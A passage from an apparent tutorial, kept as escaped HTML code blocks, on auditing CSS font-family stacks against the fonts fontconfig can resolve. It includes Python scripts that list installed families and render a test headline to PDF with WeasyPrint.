&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;GENERIC &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;serif&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;sans-serif&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;monospace&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;cursive&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;fantasy&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;system-ui&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;ui-serif&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;ui-sans-serif&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;ui-monospace&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;ui-rounded&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; installed_families&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;Every family fontconfig can actually resolve, lowercased.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    out &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; subprocess.run(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;fc-list&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;:&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;family&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;], capture_output&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;True, text&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;True, check&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;True&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    ).stdout&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    families &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; set&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; line &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; out.splitlines():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; name &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; line.split(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;,&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;            if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; name.strip():&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;                families.add(name.strip().casefold())&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; families&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; audit&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(stack, families):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;&quot;&quot;Walk the stack the way the engine will, and report the first real hit.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    rows, winner &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [], None&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; raw &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; stack.split(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;,&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        name &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; raw.strip().strip(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        key &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; name.casefold()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; key &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; BROWSER_ONLY:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;            state &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;browser-only&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        elif&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; key &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; GENERIC:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;            state &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;generic&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        elif&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; key &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; families:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;            state &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;present&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        else&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;            state &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;absent&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; winner &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;is&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; None &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;and&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; state &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;present&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;generic&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;            winner &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; name&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        rows.append((name, state))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rows, winner&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; __name__ &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;__main__&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    families &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; installed_families()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    rows, winner &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; audit(sys.argv[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;], families)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; name, state &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rows:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        mark &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;-&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; name &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; winner &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;  &quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;        print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;  &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;mark&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&amp;#x3C;22&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;state&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;fontconfig will render: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;winner&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The membership test is deliberately built on &lt;code&gt;fc-list&lt;/code&gt; rather than &lt;code&gt;fc-match&lt;/code&gt;, for a reason covered in the gotchas below.&lt;/p&gt;
&lt;p&gt;Run it against both profiles:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; audit.py&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;$(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; profiles.py browser)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; audit.py&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;$(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; profiles.py fontconfig)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;     -apple-system          browser-only&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;     BlinkMacSystemFont     browser-only&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;     Segoe UI               absent&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;     Inter                  absent&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;     Roboto                 absent&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  -&gt; Helvetica Neue         present&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;     Arial                  present&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;     sans-serif             generic&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;fontconfig will render: Helvetica Neue&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;     -apple-system          browser-only&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;     BlinkMacSystemFont     browser-only&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;     Segoe UI               absent&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  -&gt; Arial                  present&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;     sans-serif             generic&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;fontconfig will render: Arial&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Five of the browser profile’s eight entries are unreachable on this machine, and the sixth is the accident. Your own output will differ depending on what you have installed, which is the point: the same stack has a different answer on every box.&lt;/p&gt;
&lt;h2&gt;Measure what actually came out&lt;/h2&gt;
&lt;p&gt;A prediction you never check is a guess with better formatting. Render both profiles and read the file. Save this as &lt;code&gt;render.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#!/usr/bin/env python3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;Render one headline through WeasyPrint using a named font profile.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; sys&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; weasyprint &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; HTML&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; profiles &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; load_profile&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;profile_name, out &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; sys.argv[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;], sys.argv[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;stack &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; load_profile(profile_name)[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;display_stack&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;HTML(string&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&amp;#x3C;style&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  h1 &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;{{&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; font-family: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;stack&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;; font-weight: 800; font-size: 42px; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&amp;#x3C;/style&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&amp;#x3C;h1&gt;Weekly training brief&amp;#x3C;/h1&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;).write_pdf(out)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;out&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &amp;#x3C;-  &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;profile_name&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; profile&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; render.py&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; browser&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; browser.pdf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;python3&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; render.py&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; fontconfig&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; fontconfig.pdf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; f &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; browser&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; fontconfig&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
